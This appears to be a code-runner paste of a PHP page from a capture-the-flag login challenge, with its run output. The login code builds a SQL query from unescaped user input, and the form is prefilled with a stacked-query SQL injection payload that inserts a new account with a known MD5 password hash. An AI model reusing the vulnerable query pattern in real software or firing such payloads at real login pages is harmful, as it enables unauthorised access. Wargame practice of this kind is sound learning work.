fork download
  1. <html>
  2. <head>
  3. Secure Web Login II
  4. </head>
  5. <body>
  6.  
  7. <?php
  8. if($_POST[user] && $_POST[pass]) {
  9. mysql_connect("localhost","php3","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
  10. mysql_select_db("php3");
  11.  
  12. $user = $_POST[user];
  13. $pass = md5($_POST[pass]);
  14. $query = @mysql_fetch_array(mysql_query("select pw from php3 where user='$user'"));
  15.  
  16. if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
  17. echo "<p>Logged in! Key: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx </p>";
  18. }
  19. else {
  20. echo("<p>Log in failure!</p>");
  21. }
  22. }
  23.  
  24. ?>
  25.  
  26.  
  27. <form method=post action=index.php>
  28. <input type=text name=user value="';INSERT INTO php3 ('user','pw') VALUES ('vinhasd','5d41402abc4b2a76b9719d911017c592');--">
  29. <input type=password name=pass value="hello">
  30. <input type=submit>
  31. </form>
  32. </body>
  33. <a href="index.phps">Source</a>
  34. </html>
  35.  
Success #stdin #stdout #stderr 0.01s 20568KB
stdin
Standard input is empty
stdout
<html>
<head>
Secure Web Login II
</head>
<body>



<form method=post action=index.php>
<input type=text name=user value="';INSERT INTO php3 ('user','pw') VALUES ('vinhasd','5d41402abc4b2a76b9719d911017c592');--">
<input type=password name=pass value="hello">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
stderr
PHP Notice:  Use of undefined constant user - assumed 'user' in /home/HOfosF/prog.php on line 8
PHP Notice:  Undefined index: user in /home/HOfosF/prog.php on line 8